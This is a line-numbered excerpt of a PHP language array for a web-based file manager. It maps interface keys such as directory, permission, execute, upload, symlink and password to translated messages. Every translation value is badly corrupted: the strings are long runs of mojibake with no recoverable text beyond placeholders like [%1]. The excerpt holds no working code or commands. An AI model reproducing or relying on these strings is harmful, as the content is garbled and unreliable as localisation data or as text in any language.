  2327. 'directory' => '����¯�¿�½������«����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2328. 'file' => '����¯�¿�½������¦����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2329. 'filename' => '����¯�¿�½������©����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2330.  
  2331. 'size' => '����¯�¿�½������²����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2332. 'permission' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2333. 'owner' => '����¯�¿�½������¨����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2334. 'group' => '����¯�¿�½������§����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2335. 'other' => '����¯�¿�½������¤����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2336. 'functions' => '����¯�¿�½������¦����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2337.  
  2338. 'read' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2339. 'write' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2340. 'execute' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2341.  
  2342. 'create_symlink' => '����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2343. 'delete' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2344. 'rename' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2345. 'move' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2346. 'copy' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2347. 'edit' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2348. 'download' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2349. 'upload' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2350. 'create' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2351. 'change' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2352. 'save' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2353. 'set' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2354. 'reset' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2355. 'relative' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2356.  
  2357. 'yes' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2358. 'no' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2359. 'back' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2360. 'destination' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2361. 'symlink' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2362. 'no_output' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2363.  
  2364. 'user' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2365. 'password' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2366. 'add' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
  2367. 'add_basic_auth' => '����¯�¿�½������¤����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ HTTP-Basic-Auth',
  2368.  
  2369. 'uploaded' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2370. 'not_uploaded' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2371. 'already_exists' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2372. 'created' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2373. 'not_created' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2374. 'really_delete' => '����¯�¿�½������¤����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½?',
  2375. 'deleted' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n[%1]",
  2376. 'not_deleted' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n[%1]",
  2377. 'rename_file' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:',
  2378. 'renamed' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%2]".',
  2379. 'not_renamed' => '"[%1] ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%2]".',
  2380. 'move_files' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:',
  2381. 'moved' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\":\n[%1]",
  2382. 'not_moved' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\":\n[%1]",
  2383. 'copy_files' => '����¯�¿�½������«����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:',
  2384. 'copied' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\" :\n[%1]",
  2385. 'not_copied' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\" :\n[%1]",
  2386. 'not_edited' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2387. 'executed' => "\"[%1]\" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n{%2}",
  2388. 'not_executed' => "\"[%1]\" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n{%2}",
  2389. 'saved' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2390. 'not_saved' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
  2391. 'symlinked' => '����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ "[%2]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
